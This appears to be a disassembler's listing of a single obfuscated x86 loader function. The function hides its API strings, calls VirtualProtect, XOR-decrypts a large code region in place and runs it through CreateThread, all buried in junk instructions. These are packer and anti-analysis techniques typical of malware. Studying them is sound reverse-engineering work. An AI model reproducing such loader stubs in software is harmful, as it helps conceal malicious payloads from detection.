Function at 0x188c50d
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
pushfd
inc ebx
dec ebx
popfd
call fcn.0188c8e6
xchg ecx, ecx
mov ebx, ebx
lea eax, [ebp - 0xd8]
pushfd
inc edi
dec edi
popfd
push eax
push edx
pop edx
pop eax
mov ebx, 0x61
pushfd
inc ebx
dec ebx
popfd
pushfd
push 0x5765e392
add esp, 4
popfd
add bx, 0xa
pushfd
push esi
add esp, 4
popfd
mov word [eax], bx
pushfd
inc eax
dec eax
popfd
sub bx, 6
push ebx
push eax
pop eax
pop ebx
push edi
pop edi
mov word [eax + 2], bx
xchg ecx, ebx
xchg ebx, ecx
push edi
pop edi
add bx, 0xd
push edx
push esi
pop esi
pop edx
mov word [eax + 4], bx
xchg ebx, ebx
pushfd
push 0x21d5c41c
add esp, 4
popfd
sub bx, 4
push ecx
push eax
pop eax
pop ecx
pushfd
inc edi
dec edi
popfd
mov word [eax + 6], bx
pushfd
xor esi, 0x2527eb70
xor esi, 0x2527eb70
popfd
sub bx, 9
nop
mov word [eax + 8], bx
push edi
pop edi
pushfd
push ebx
add esp, 4
popfd
add bx, 7
pushfd
push 0x84d68bb1
add esp, 4
popfd
mov word [eax + 0xa], bx
xchg ecx, edi
xchg edi, ecx
sub bx, 0x39
pushfd
push esi
add esp, 4
popfd
push esi
pop esi
mov word [eax + 0xc], bx
mov ebx, ebx
xchg esi, esi
dec bx
push ecx
pop ecx
mov edi, edi
mov word [eax + 0xe], bx
push ebx
pop ebx
pushfd
push edx
add esp, 4
popfd
sub bx, 4
xchg esi, esi
push edx
push ecx
pop ecx
pop edx
mov word [eax + 0x10], bx
mov esi, esi
add bx, 0x36
pushfd
inc ecx
dec ecx
popfd
pushfd
push ebx
add esp, 4
popfd
mov word [eax + 0x12], bx
pushfd
push 0x2333f839
add esp, 4
popfd
add bx, 8
pushfd
xor edx, 0x5b60d3f4
xor edx, 0x5b60d3f4
popfd
push ebx
pop ebx
mov word [eax + 0x14], bx
pushfd
inc ebx
dec ebx
popfd
mov word [eax + 0x16], bx
xchg esi, ecx
xchg ecx, esi
mov word [eax + 0x18], 0
pushfd
push esi
add esp, 4
popfd
pushfd
push ecx
add esp, 4
popfd
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
xchg edx, eax
xchg edx, eax
mov dword [ebp - 0x10], eax
push edx
push ecx
pop ecx
pop edx
lea eax, [ebp - 0xd8]
mov esi, esi
mov ebx, 0x61
push ebx
pop ebx
sub bl, 0xb
push ecx
pop ecx
mov edi, edi
mov byte [eax], bl
push eax
push edi
pop edi
pop eax
push ebx
push esi
pop esi
pop ebx
add bl, 0x13
push ebx
push ecx
pop ecx
pop ebx
mov byte [eax + 1], bl
mov ebx, ebx
push ecx
pop ecx
add bl, 9
xchg esi, edx
xchg edx, esi
pushfd
push 0xa405f8ab
add esp, 4
popfd
mov byte [eax + 2], bl
pushfd
inc edx
dec edx
popfd
add bl, 2
pushfd
push esi
add esp, 4
popfd
push ecx
push eax
pop eax
pop ecx
mov byte [eax + 3], bl
pushfd
push 0xd59ba149
add esp, 4
popfd
mov eax, eax
inc bl
pushfd
push 0x8155b9f5
add esp, 4
popfd
xchg edi, ebx
xchg ebx, edi
mov byte [eax + 4], bl
push edx
pop edx
push eax
push edx
pop edx
pop eax
sub bl, 0x14
pushfd
xor edi, 0x6f465e0e
xor edi, 0x6f465e0e
popfd
mov byte [eax + 5], bl
pushfd
push ecx
add esp, 4
popfd
pushfd
push 0xb67f9a55
add esp, 4
popfd
add bl, 0xb
pushfd
inc ebx
dec ebx
popfd
mov byte [eax + 6], bl
xchg edi, ebx
xchg ebx, edi
sub bl, 0x1c
nop
xchg ecx, ecx
mov byte [eax + 7], bl
xchg ebx, eax
xchg ebx, eax
add bl, 0x22
mov eax, eax
nop
mov byte [eax + 8], bl
push ebx
pop ebx
xchg edi, eax
xchg edi, eax
sub bl, 3
mov ebx, ebx
mov byte [eax + 9], bl
pushfd
xor edi, 0x80d2bd72
xor edi, 0x80d2bd72
popfd
push edi
push esi
pop esi
pop edi
add bl, 5
pushfd
push edx
add esp, 4
popfd
mov byte [eax + 0xa], bl
pushfd
xor edx, 0x6b3cc856
xor edx, 0x6b3cc856
popfd
xchg ebx, eax
xchg ebx, eax
sub bl, 0xf
pushfd
push 0xb554f87d
add esp, 4
popfd
pushfd
xor esi, 0x71d66001
xor esi, 0x71d66001
popfd
mov byte [eax + 0xb], bl
pushfd
inc edx
dec edx
popfd
pushfd
xor edi, 0xccaf30e1
xor edi, 0xccaf30e1
popfd
sub bl, 2
xchg ecx, eax
xchg ecx, eax
pushfd
inc esi
dec esi
popfd
mov byte [eax + 0xc], bl
pushfd
xor edi, 0xfeb5cf01
xor edi, 0xfeb5cf01
popfd
add bl, 0x11
xchg edi, ecx
xchg ecx, edi
mov byte [eax + 0xd], bl
pushfd
xor esi, 0xe1d7ad00
xor esi, 0xe1d7ad00
popfd
xchg ebx, eax
xchg ebx, eax
mov byte [eax + 0xe], 0
xchg ecx, esi
xchg esi, ecx
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
pushfd
push ebx
add esp, 4
popfd
mov dword [ebp - 0xc], eax
xchg ecx, eax
xchg ecx, eax
lea eax, [ebp - 8]
pushfd
push edi
add esp, 4
popfd
push eax
push 4
push 0x8e24c1
push entry0
call dword [ebp - 0xc]
pushfd
push edi
add esp, 4
popfd
push edi
pop edi
mov edi, entry0
xchg edi, edi
mov esi, 0x40100e
pushfd
push 0xeeb418a1
add esp, 4
popfd
pushfd
push ecx
add esp, 4
popfd
mov ecx, 0x8e24c1
pushfd
xor edx, 0x1cc1057c
xor edx, 0x1cc1057c
popfd
mov edx, 0x3b459853
push edi
push ebx
pop ebx
pop edi
xchg edx, edx
mov ebx, 0x654f7fab
mov ecx, ecx
cld
nop
lodsb al, byte [esi]
xchg ebx, ebx
xor al, dl
xchg esi, esi
stosb byte es:[edi], al
xchg ecx, ecx
ror edx, 5
mov edi, edi
imul edx, edx, 7
xchg ebx, ebx
test ebx, 1
mov edx, edx
je 0x188c862
nop
add esi, 2
mov eax, eax
ror ebx, 1
xchg ecx, ecx
dec ecx
xchg esi, esi
test ecx, ecx
xchg edx, edx
jne 0x188c83d
push ebx
pop ebx
xchg ebx, eax
xchg ebx, eax
lea eax, [ebp - 8]
xchg esi, esi
push eax
push 0x20
push 0x8e24c1
push entry0
call dword [ebp - 0xc]
pushfd
inc esi
dec esi
popfd
push esi
push edi
pop edi
pop esi
lea eax, [ebp - 4]
xchg ecx, ebx
xchg ebx, ecx
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
push ecx
pop ecx
mov esi, esi
pushfd
push 0xb9d0de15
add esp, 4
popfd
pushfd
push 0xcb80b0d
add esp, 4
popfd
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
push edx
pop edx
jmp 0x188c8af